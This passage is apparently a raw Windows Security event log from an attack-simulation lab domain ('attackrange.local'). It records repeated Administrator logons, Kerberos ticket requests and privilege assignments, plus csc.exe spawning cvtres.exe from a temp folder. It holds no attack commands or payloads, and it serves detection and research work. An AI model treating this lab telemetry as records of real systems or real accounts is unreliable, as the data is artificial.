ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11EF0A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250872 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250871 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250870 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250869 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11EEEE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250868 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11EEEE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250867 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11EEEE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250866 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250865 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250864 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250863 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11E8F1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250862 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11DFCA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250861 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CC72 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250860 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcc4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESD260.tmp" "c:\Users\Administrator\AppData\Local\Temp\ws2inzbj\CSCB414D9ED42A042E2A51BCFA9922684DE.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250977 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12306F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250976 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250975 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x121804 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250974 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11FE2D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250973 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AFAB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250972 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11EF0A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250971 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CA88 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250970 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12306F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250969 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12306F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250968 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250967 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250966 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250965 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x123053 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250964 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x123053 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250963 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x123053 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250962 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250961 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250960 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250959 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x121B9F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - 